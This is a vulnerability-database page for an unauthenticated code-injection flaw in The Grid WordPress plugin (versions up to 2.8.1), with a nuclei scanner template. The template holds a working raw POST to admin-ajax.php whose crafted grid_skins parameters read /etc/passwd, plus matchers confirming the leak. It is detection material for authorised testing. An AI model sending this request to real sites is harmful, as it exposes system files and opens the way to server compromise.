HexBrain

Browse / CVEs / CVE-2026-94169

CVE-2026-94169· theme-one / the-grid· CWE-94

The Grid <= 2.8.1 - Unauthenticated Code Injection

criticalseverity
10CVSS score
4.4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

Theme-one The Grid <= 2.8.1 contains a command injection caused by improper control of code generation, letting attackers execute arbitrary commands remotely, exploit requires crafted input.

Impact

Attackers can execute arbitrary commands remotely, potentially leading to full system compromise.

Fix

Update to the latest version beyond 2.8.1.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(content_type, "json") and regex("root:.*:0:0:", body)

Run it with nuclei: nuclei -id CVE-2026-94169 -u <target>

The full check
id: CVE-2026-94169

info:
  name: The Grid <= 2.8.1 - Unauthenticated Code Injection
  author: 0x_Akoko
  severity: critical
  description: |
    Theme-one The Grid <= 2.8.1 contains a command injection caused by improper control of code generation, letting attackers execute arbitrary commands remotely, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary commands remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest version beyond 2.8.1.
  reference:
    - https://patchstack.com/database/wordpress/plugin/the-grid/vulnerability/wordpress-the-grid-plugin-2-8-1-remote-code-execution-rce-vulnerability
    - https://github.com/kize7/CVE-2026-94169
    - https://nvd.nist.gov/vuln/detail/CVE-2026-94169
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-94169
    epss-score: 0.04422
    epss-percentile: 0.91437
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    vendor: theme-one
    product: the-grid
    fofa-query: body="/wp-content/plugins/the-grid/"
    publicwww-query: "/wp-content/plugins/the-grid/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,the-grid,theme-one,lfi,unauth,vkev

variables:
  grid: "{{rand_text_alpha(8)}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=the_grid_load_more&grid_nonce=invalid&grid_page=1&grid_name={{grid}}&grid_data[item_number]=1&grid_data[grid_skins][evil][php]=/etc/passwd&grid_data[grid_skins][evil][type]=grid&grid_data[grid_skins][evil][slug]=evil&grid_data[skins]={"post":"evil"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("root:.*:0:0:", body)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from